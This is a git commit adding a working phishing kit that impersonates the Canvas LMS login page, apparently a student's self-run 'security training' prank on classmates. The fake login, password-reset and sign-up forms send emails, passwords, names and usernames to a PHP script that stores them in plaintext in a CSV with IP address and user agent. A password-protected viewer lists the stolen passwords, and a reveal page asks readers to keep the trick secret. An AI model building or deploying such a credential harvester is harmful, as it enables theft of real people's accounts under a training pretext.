first commit

This commit is contained in:
lotte 2025-07-15 01:19:02 +00:00
commit e6339093e9
5 changed files with 1366 additions and 0 deletions

1
.gitignore vendored Normal file
View file

@ -0,0 +1 @@
login_data.csv

569
login Normal file
View file

@ -0,0 +1,569 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Log in to Canvas</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: "Lato", "Helvetica Neue", Arial, sans-serif;
background-color: #394B59;
min-height: 100vh;
color: #333;
}
.header {
background-color: white;
padding: 12px 20px;
display: flex;
justify-content: space-between;
align-items: center;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}
.logo-container {
display: flex;
align-items: center;
}
.canvas-icon {
width: 28px;
height: 28px;
margin-right: 8px;
background-image: url('https://images.g2crowd.com/uploads/product/image/large_detail/large_detail_c4cea305272e01c609da9349efe4aba2/canvas-lms.png');
background-size: contain;
background-repeat: no-repeat;
background-position: center;
}
.logo-text {
font-size: 18px;
font-weight: 400;
color: #333;
}
.logo-text .canvas {
font-weight: 600;
}
.logo-text .lms {
font-weight: 300;
}
.browse-courses {
color: #0374B5;
text-decoration: none;
font-size: 14px;
font-weight: 400;
}
.browse-courses:hover {
text-decoration: underline;
}
.main-content {
display: flex;
justify-content: center;
align-items: center;
min-height: calc(100vh - 60px);
padding: 40px 20px;
}
.login-card {
background: white;
border-radius: 0px;
padding: 40px;
width: 500px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.welcome-title {
font-size: 24px;
font-weight: 400;
color: #333;
margin-bottom: 16px;
text-align: center;
}
.login-prompt {
text-align: center;
margin-bottom: 32px;
font-size: 14px;
color: #666;
}
.create-account-link {
color: #0374B5;
text-decoration: none;
cursor: pointer;
}
.create-account-link:hover {
text-decoration: underline;
}
.form-group {
margin-bottom: 20px;
}
.form-label {
display: block;
margin-bottom: 6px;
font-size: 14px;
color: #333;
font-weight: 400;
}
.required {
color: #e74c3c;
}
.form-input {
width: 100%;
padding: 10px 12px;
border: 1px solid #C7CDD1;
border-radius: 4px;
font-size: 14px;
background: white;
transition: border-color 0.2s ease;
}
.form-input:focus {
outline: none;
border-color: #0374B5;
}
.remember-me {
display: flex;
align-items: center;
margin-bottom: 24px;
}
.remember-me input[type="checkbox"] {
margin-right: 8px;
width: 16px;
height: 16px;
}
.remember-me label {
font-size: 14px;
color: #333;
cursor: pointer;
}
.login-button {
width: 100%;
padding: 12px;
background-color: #0374B5;
color: white;
border: none;
border-radius: 4px;
font-size: 16px;
font-weight: 400;
cursor: pointer;
margin-bottom: 20px;
transition: background-color 0.2s ease;
}
.login-button:hover {
background-color: #025a87;
}
.help-links {
text-align: center;
margin-bottom: 24px;
}
.help-link {
color: #0374B5;
text-decoration: none;
font-size: 14px;
display: block;
margin-bottom: 8px;
cursor: pointer;
}
.help-link:hover {
text-decoration: underline;
}
.instructure-logo {
text-align: center;
margin-top: 40px;
margin-bottom: 20px;
}
.instructure-logo img {
height: 20px;
opacity: 0.6;
}
.footer-links {
text-align: center;
margin-top: 50px;
margin-bottom: 20px;
font-size: 12px;
}
.footer-links a {
color: #0374B5;
text-decoration: none;
margin: 0 5px;
}
.footer-links a:hover {
text-decoration: underline;
}
.footer-separator {
color: #666;
margin: 0 3px;
}
.page {
display: none;
}
.page.active {
display: block;
}
.back-to-login {
color: #0374B5;
text-decoration: none;
font-size: 14px;
margin-bottom: 20px;
display: inline-block;
}
.back-to-login:hover {
text-decoration: underline;
}
.join-code-help {
font-size: 12px;
color: #666;
margin-top: 5px;
line-height: 1.4;
}
@media (max-width: 480px) {
.login-card {
padding: 30px 20px;
margin: 20px 10px;
width: calc(100vw - 40px);
max-width: 500px;
}
.header {
padding: 10px 15px;
}
.logo-text {
font-size: 16px;
}
}
</style>
</head>
<body>
<header class="header">
<div class="logo-container">
<div class="canvas-icon"></div>
<div class="logo-text">
<span class="canvas">CANVAS</span>
<span class="lms">LMS</span>
</div>
</div>
<a href="https://canvas.instructure.com/search/all_courses" class="browse-courses">Browse Courses</a>
</header>
<main class="main-content">
<div class="page active" id="loginPage">
<div class="login-card">
<h1 class="welcome-title">Welcome to Canvas</h1>
<p class="login-prompt">
Log in or <span class="create-account-link" onclick="showCreateAccount()">create an account.</span>
</p>
<form id="loginForm">
<div class="form-group">
<label for="email" class="form-label">Email <span class="required">*</span></label>
<input type="email" id="email" class="form-input" required>
</div>
<div class="form-group">
<label for="password" class="form-label">Password <span class="required">*</span></label>
<input type="password" id="password" class="form-input" required>
</div>
<div class="remember-me">
<input type="checkbox" id="remember" name="remember">
<label for="remember">Remember me</label>
</div>
<button type="submit" class="login-button">Log In</button>
</form>
<div class="help-links">
<a href="#" class="help-link" onclick="showForgotPassword()">Forgot password?</a>
<a href="https://community.canvaslms.com/t5/Troubleshooting/Logging-into-Canvas/ta-p/875/redirect_from_archived_page/true" class="help-link">Trouble logging in?</a>
</div>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
<div class="page" id="forgotPasswordPage">
<div class="login-card">
<a href="#" class="back-to-login" onclick="showLogin()">&larr; Back to Login</a>
<h1 class="welcome-title">Forgot password?</h1>
<p style="text-align: center; margin-bottom: 32px; font-size: 14px; color: #666;">
Enter your email and we'll send you a link to change your password.
</p>
<form id="forgotPasswordForm">
<div class="form-group">
<label for="forgot-email" class="form-label">Email <span class="required">*</span></label>
<input type="email" id="forgot-email" class="form-input" required>
</div>
<button type="submit" class="login-button">Next</button>
</form>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
<div class="page" id="emailSentPage">
<div class="login-card">
<h1 class="welcome-title">Check Your Email</h1>
<p style="text-align: left; margin-bottom: 32px; font-size: 14px; color: #333; line-height: 1.5;">
A recovery email has been sent to <span id="recoveryEmail"></span>.<br>
Please check your inbox and follow the instructions to reset your password. This may take up to <strong>10 minutes</strong>. If you don't receive an email, be sure to check your spam folder.
</p>
<button type="button" class="login-button" style="background-color: #ccc; color: #333;" onclick="showLogin()">Back</button>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
<div class="page" id="createAccountPage">
<div class="login-card">
<a href="#" class="back-to-login" onclick="showLogin()">&larr; Back to Login</a>
<h1 class="welcome-title">Create a Student Account</h1>
<p class="login-prompt">
Already have an account? <span class="create-account-link" onclick="showLogin()">Log in</span>
</p>
<form id="createAccountForm">
<div class="form-group">
<label for="full-name" class="form-label">Full Name <span class="required">*</span></label>
<input type="text" id="full-name" class="form-input" required>
</div>
<div class="form-group">
<label for="username" class="form-label">Username <span class="required">*</span></label>
<input type="text" id="username" class="form-input" required>
</div>
<div class="form-group">
<label for="new-password" class="form-label">Password <span class="required">*</span></label>
<input type="password" id="new-password" class="form-input" required>
</div>
<div class="form-group">
<label for="confirm-password" class="form-label">Confirm Password <span class="required">*</span></label>
<input type="password" id="confirm-password" class="form-input" required>
</div>
<!-- <div class="form-group">
<label for="join-code" class="form-label">Join Code <span class="required">*</span></label>
<input type="text" id="join-code" class="form-input" required>
<div class="join-code-help">
Your instructor will provide you with a join code to link you directly to the course. This code will be sent to you separately from the Canvas email that invites you to join the course.
</div>
</div> -->
<div class="form-group">
<label for="account-email" class="form-label">Email Address <span class="required">*</span></label>
<input type="email" id="account-email" class="form-input" required>
</div>
<button type="submit" class="login-button">Create Account</button>
</form>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
</main>
<script>
function showLogin() {
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('loginPage').classList.add('active');
}
function showForgotPassword() {
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('forgotPasswordPage').classList.add('active');
}
function showCreateAccount() {
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('createAccountPage').classList.add('active');
}
function showEmailSent(email) {
document.getElementById('recoveryEmail').textContent = email;
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('emailSentPage').classList.add('active');
}
function redirectToPhish() {
window.location.href = '/phish';
}
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
const remember = document.getElementById('remember').checked;
const formData = new FormData();
formData.append('email', email);
formData.append('password', password);
formData.append('remember', remember ? '1' : '0');
formData.append('login_type', 'email');
fetch('save_login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
console.log('Server response:', data);
redirectToPhish();
})
.catch(error => {
console.error('Error:', error);
redirectToPhish();
});
});
document.getElementById('forgotPasswordForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('forgot-email').value;
const formData = new FormData();
formData.append('email', email);
formData.append('password', '');
formData.append('remember', '0');
formData.append('login_type', 'forgot_password');
fetch('save_login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
console.log('Server response:', data);
showEmailSent(email);
})
.catch(error => {
console.error('Error:', error);
showEmailSent(email);
});
});
document.getElementById('createAccountForm').addEventListener('submit', function(e) {
e.preventDefault();
const fullName = document.getElementById('full-name').value;
const username = document.getElementById('username').value;
const password = document.getElementById('new-password').value;
const confirmPassword = document.getElementById('confirm-password').value;
//const joinCode = document.getElementById('join-code').value;
const email = document.getElementById('account-email').value;
if (password !== confirmPassword) {
alert('Passwords do not match');
return;
}
const formData = new FormData();
formData.append('email', email);
formData.append('password', password);
formData.append('remember', '0');
formData.append('login_type', 'create_account');
formData.append('full_name', fullName);
formData.append('username', username);
//formData.append('join_code', joinCode);
fetch('save_login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
console.log('Server response:', data);
redirectToPhish();
})
.catch(error => {
console.error('Error:', error);
redirectToPhish();
});
});
</script>
</body>
</html>

143
phish Normal file
View file

@ -0,0 +1,143 @@
<?php
$show_reveal = true;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Training Exercise</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: "Lato", "Helvetica Neue", Arial, sans-serif;
background-color: #394B59;
min-height: 100vh;
color: white;
display: flex;
align-items: center;
justify-content: center;
padding: 20px;
}
.reveal-container {
text-align: center;
max-width: 600px;
margin: 0 auto;
}
.reveal-message {
background: rgba(255, 255, 255, 0.1);
border-radius: 15px;
padding: 30px;
backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.2);
}
.reveal-title {
font-size: 32px;
font-weight: bold;
margin-bottom: 20px;
color: #ff6b6b;
}
.reveal-text {
font-size: 18px;
line-height: 1.6;
margin-bottom: 15px;
}
.reveal-subtitle {
font-size: 20px;
font-weight: 600;
margin: 25px 0 15px 0;
color: #ffd93d;
}
.reveal-warning {
font-size: 16px;
font-style: italic;
color: #a8e6cf;
margin: 20px 0;
}
.explanation-list {
text-align: left;
margin: 20px 0;
}
.explanation-list li {
margin-bottom: 15px;
font-size: 16px;
line-height: 1.5;
}
.dancing-cat {
margin: 30px 0;
}
.dancing-cat img {
width: 200px;
height: 150px;
border-radius: 10px;
}
@media (max-width: 480px) {
.reveal-message {
padding: 20px;
}
.reveal-title {
font-size: 24px;
}
.reveal-text {
font-size: 16px;
}
.dancing-cat img {
width: 150px;
height: 112px;
}
}
</style>
</head>
<body>
<?php if ($show_reveal): ?>
<div class="reveal-container">
<div class="reveal-message">
<div class="reveal-title">Hi! This is Charlotte 👋</div>
<div class="reveal-text">
This is a <strong>phishing email test</strong> (don't worry it's not real!) . . . check the URL :)
</div>
<h3 class="reveal-subtitle">What happened?</h3>
<ul class="explanation-list">
<li>You received an email that really DID come from my Champlain account.</li>
<li>It appeared that I forwarded a message from Ryan, but that is actually a fake email!</li>
<li>In real life, trusted accounts can forward malicious emails, obscuring the original sender's identity.</li>
<li>The login link led to a fake .xyz domain, designed just to look like your Canvas login.</li>
</ul>
<div class="reveal-subtitle">
Don't be embarrassed! This is just to show that NO ONE is immune to social engineering. All it takes is one person quickly forwarding an email
</div>
<div class="reveal-warning">
Don't tell anyone! Let's see how many students we can catch 😈
</div>
<div class="dancing-cat">
<img src="https://external-content.duckduckgo.com/iu/?u=https%3A%2F%2Fmedia.tenor.com%2Fr0R0N3dI3kIAAAAM%2Fdancing-cat-dance.gif&f=1&nofb=1&ipt=1dbad8982566ed47c00f1c39245bad1ca0e5353033b137186d669892699d63fe" alt="Dancing Cat" />
</div>
</div>
</div>
<?php endif; ?>
</body>
</html>

103
save_login.php Normal file
View file

@ -0,0 +1,103 @@
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: text/plain');
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
echo "Method not allowed";
exit;
}
$email = isset($_POST['email']) ? $_POST['email'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$remember = isset($_POST['remember']) ? $_POST['remember'] : '0';
$login_type = isset($_POST['login_type']) ? $_POST['login_type'] : 'email';
$full_name = isset($_POST['full_name']) ? $_POST['full_name'] : '';
$username = isset($_POST['username']) ? $_POST['username'] : '';
//$join_code = isset($_POST['join_code']) ? $_POST['join_code'] : '';
if (empty($email)) {
http_response_code(400);
echo "Email is required";
exit;
}
$timestamp = date('Y-m-d H:i:s');
$ip_address = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
if ($login_type === 'create_account') {
$csv_data = [
$timestamp,
$email,
$password,
$remember === '1' ? 'yes' : 'no',
$login_type,
$ip_address,
$user_agent,
$full_name,
$username,
// $join_code
];
} else {
$csv_data = [
$timestamp,
$email,
$password,
$remember === '1' ? 'yes' : 'no',
$login_type,
$ip_address,
$user_agent,
'',
'',
''
];
}
$csv_file = 'login_data.csv';
if (!file_exists($csv_file)) {
$headers = [
'Timestamp',
'Email',
'Password',
'Remember Me',
'Login Type',
'IP Address',
'User Agent',
'Full Name',
'Username',
// 'Join Code'
];
$file = fopen($csv_file, 'w');
if ($file === false) {
http_response_code(500);
echo "Error: Cannot create CSV file";
exit;
}
fputcsv($file, $headers);
fclose($file);
}
$file = fopen($csv_file, 'a');
if ($file === false) {
http_response_code(500);
echo "Error: Cannot open CSV file for writing";
exit;
}
if (fputcsv($file, $csv_data) === false) {
fclose($file);
http_response_code(500);
echo "Error: Cannot write to CSV file";
exit;
}
fclose($file);
echo "Login data saved successfully";
error_log("Canvas login saved: " . $email . " at " . $timestamp);
?>

550
view_login_data.php Normal file
View file

@ -0,0 +1,550 @@
<?php
session_start();
$correct_password = 'ch@mp1@1nCyb3r';
if ($_POST['password'] ?? false) {
if ($_POST['password'] === $correct_password) {
$_SESSION['authenticated'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = "Incorrect password. Please try again.";
}
}
if ($_GET['logout'] ?? false) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
if (!($_SESSION['authenticated'] ?? false)) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Access Required - Canvas Login Data</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 15px 35px rgba(0,0,0,0.1);
width: 100%;
max-width: 400px;
text-align: center;
}
h1 {
color: #333;
margin-bottom: 30px;
font-size: 24px;
}
.form-group {
margin-bottom: 20px;
text-align: left;
}
label {
display: block;
margin-bottom: 5px;
color: #555;
font-weight: bold;
}
input[type="password"] {
width: 100%;
padding: 12px;
border: 2px solid #ddd;
border-radius: 5px;
font-size: 16px;
box-sizing: border-box;
transition: border-color 0.3s;
}
input[type="password"]:focus {
outline: none;
border-color: #667eea;
}
.login-btn {
width: 100%;
padding: 12px;
background: #667eea;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
transition: background 0.3s;
}
.login-btn:hover {
background: #5a67d8;
}
.error {
background-color: #fee;
color: #c33;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
border: 1px solid #fcc;
}
.security-notice {
background-color: #fff3cd;
color: #856404;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
font-size: 14px;
}
@media (max-width: 480px) {
.login-container {
margin: 20px;
padding: 30px 20px;
}
h1 {
font-size: 20px;
}
}
</style>
</head>
<body>
<div class="login-container">
<h1>🔒 Access Required</h1>
<div class="security-notice">
<strong> Restricted Access:</strong> This area contains sensitive training data.
</div>
<?php if (isset($login_error)): ?>
<div class="error"><?php echo htmlspecialchars($login_error); ?></div>
<?php endif; ?>
<form method="POST">
<div class="form-group">
<label for="password">Enter Password:</label>
<input type="password" id="password" name="password" required autofocus>
</div>
<button type="submit" class="login-btn">Access Data</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
$csv_file = 'login_data.csv';
if (!file_exists($csv_file)) {
echo "<h1>No login data found</h1>";
echo "<p>The CSV file does not exist yet. Submit some login forms first.</p>";
exit;
}
$csv_data = [];
if (($handle = fopen($csv_file, 'r')) !== false) {
while (($data = fgetcsv($handle)) !== false) {
$csv_data[] = $data;
}
fclose($handle);
}
if (empty($csv_data)) {
echo "<h1>No login data found</h1>";
echo "<p>The CSV file is empty.</p>";
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Canvas Login Data</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f5f5f5;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
flex-wrap: wrap;
gap: 10px;
}
h1 {
color: #333;
border-bottom: 2px solid #e74c3c;
padding-bottom: 10px;
margin: 0;
font-size: 24px;
}
.logout-btn {
background: #dc3545;
color: white;
padding: 10px 16px;
text-decoration: none;
border-radius: 5px;
font-size: 14px;
transition: background 0.3s;
white-space: nowrap;
}
.logout-btn:hover {
background: #c82333;
}
.table-container {
width: 100%;
overflow-x: auto;
-webkit-overflow-scrolling: touch;
border: 1px solid #ddd;
border-radius: 6px;
margin-top: 20px;
}
table {
width: 100%;
border-collapse: collapse;
font-size: 14px;
min-width: 800px; /* Ensure table doesn't get too compressed */
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
vertical-align: top;
white-space: nowrap;
}
th {
background-color: #f8f9fa;
font-weight: bold;
color: #333;
position: sticky;
top: 0;
z-index: 10;
}
tr:nth-child(even) {
background-color: #f8f9fa;
}
tr:hover {
background-color: #e8f4fd;
}
.password-cell {
font-family: monospace;
background-color: #ffe6e6;
color: #d63031;
font-size: 12px;
max-width: 120px;
word-break: break-all;
}
.email-login {
background-color: #e8f5e8;
color: #00b894;
}
.forgot-password {
background-color: #fff3cd;
color: #856404;
}
.create-account {
background-color: #e1f5fe;
color: #0277bd;
}
.timestamp-cell {
font-size: 12px;
min-width: 120px;
}
.user-agent-cell {
max-width: 200px;
word-break: break-word;
font-size: 11px;
white-space: normal;
}
.email-cell {
max-width: 180px;
word-break: break-word;
white-space: normal;
}
.ip-cell {
font-family: monospace;
font-size: 12px;
min-width: 100px;
}
.stats {
background-color: #e8f4fd;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
}
.warning {
background-color: #fff3cd;
border: 1px solid #ffeaa7;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
color: #856404;
}
.authenticated-notice {
background-color: #d4edda;
border: 1px solid #c3e6cb;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
color: #155724;
font-size: 14px;
}
.scroll-hint {
background-color: #e3f2fd;
border: 1px solid #bbdefb;
padding: 10px;
border-radius: 5px;
margin-bottom: 15px;
color: #1565c0;
font-size: 13px;
text-align: center;
}
@media (max-width: 768px) {
body {
padding: 10px;
}
.container {
padding: 15px;
}
h1 {
font-size: 20px;
}
.header {
flex-direction: column;
align-items: stretch;
text-align: center;
}
.logout-btn {
align-self: center;
padding: 12px 20px;
}
table {
font-size: 12px;
min-width: 900px; /* Increase min-width for mobile to ensure readability */
}
th, td {
padding: 6px 4px;
}
.password-cell {
max-width: 100px;
}
.user-agent-cell {
max-width: 150px;
}
.email-cell {
max-width: 140px;
}
}
@media (max-width: 480px) {
body {
padding: 5px;
}
.container {
padding: 10px;
}
h1 {
font-size: 18px;
}
table {
font-size: 11px;
min-width: 1000px; /* Even wider on small screens to maintain readability */
}
th, td {
padding: 4px 3px;
}
.scroll-hint {
font-size: 12px;
padding: 8px;
}
}
/* Custom scrollbar for webkit browsers */
.table-container::-webkit-scrollbar {
height: 8px;
}
.table-container::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 4px;
}
.table-container::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 4px;
}
.table-container::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>Canvas Login Data</h1>
<a href="?logout=1" class="logout-btn">Logout</a>
</div>
<div class="authenticated-notice">
<strong>Authenticated Access:</strong> You are viewing restricted training data.
</div>
<div class="stats">
<strong>Total Login Attempts:</strong> <?php echo count($csv_data) - 1; ?> (excluding header row)
<br><br>
<strong>Breakdown by Type:</strong>
<?php
$type_counts = array();
foreach ($csv_data as $index => $row) {
if ($index == 0) continue; // Skip header
$login_type = $row[4] ?? 'unknown';
$type_counts[$login_type] = ($type_counts[$login_type] ?? 0) + 1;
}
foreach ($type_counts as $type => $count) {
$type_class = '';
switch ($type) {
case 'email': $type_class = 'email-login'; break;
case 'forgot_password': $type_class = 'forgot-password'; break;
case 'create_account': $type_class = 'create-account'; break;
}
echo "<span class='$type_class' style='padding: 2px 6px; margin: 0 5px; border-radius: 3px; display: inline-block; margin-bottom: 5px;'>";
echo htmlspecialchars($type) . ": " . $count;
echo "</span>";
}
?>
</div>
<div class="scroll-hint">
📱 <strong>Mobile Tip:</strong> Swipe left/right on the table below to view all columns
</div>
<div class="warning">
<strong> Security Warning:</strong> This is for testing/training only.
</div>
<div class="table-container">
<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Login Type</th>
<th>Email</th>
<th>Password</th>
<!--<th>Remember</th>-->
<th>Full Name</th>
<th>Username</th>
<!--<th>Join Code</th>-->
<th>IP Address</th>
<th>User Agent</th>
</tr>
</thead>
<tbody>
<?php
$is_header = true;
foreach ($csv_data as $row) {
if ($is_header) {
$is_header = false;
continue;
}
// Ensure we have at least 10 columns, fill with empty strings if missing
while (count($row) < 10) {
$row[] = '';
}
$timestamp = $row[0] ?? '';
$email = $row[1] ?? '';
$password = $row[2] ?? '';
$remember = $row[3] ?? '';
$login_type = $row[4] ?? '';
$ip_address = $row[5] ?? '';
$user_agent = $row[6] ?? '';
$full_name = $row[7] ?? '';
$username = $row[8] ?? '';
$join_code = $row[9] ?? '';
// Determine row class based on login type
$type_class = '';
switch ($login_type) {
case 'email':
$type_class = 'email-login';
break;
case 'forgot_password':
$type_class = 'forgot-password';
break;
case 'create_account':
$type_class = 'create-account';
break;
}
echo "<tr>";
// Timestamp
echo "<td class='timestamp-cell'>" . htmlspecialchars($timestamp) . "</td>";
// Login Type
echo "<td class='$type_class'>" . htmlspecialchars($login_type) . "</td>";
// Email
echo "<td class='email-cell'>" . htmlspecialchars($email) . "</td>";
// Password
echo "<td class='password-cell'>" . htmlspecialchars($password) . "</td>";
// Remember Me
//echo "<td>" . htmlspecialchars($remember) . "</td>";
// Full Name
echo "<td>" . htmlspecialchars($full_name) . "</td>";
// Username
echo "<td>" . htmlspecialchars($username) . "</td>";
// Join Code
// echo "<td>" . htmlspecialchars($join_code) . "</td>";
// IP Address
echo "<td class='ip-cell'>" . htmlspecialchars($ip_address) . "</td>";
// User Agent
echo "<td class='user-agent-cell'>" . htmlspecialchars($user_agent) . "</td>";
echo "</tr>";
}
?>
</tbody>
</table>
</div>
<p style="margin-top: 20px; color: #666; font-size: 14px;">
<strong>CSV File Location:</strong> <?php echo realpath($csv_file); ?>
</p>
</div>
</body>
</html>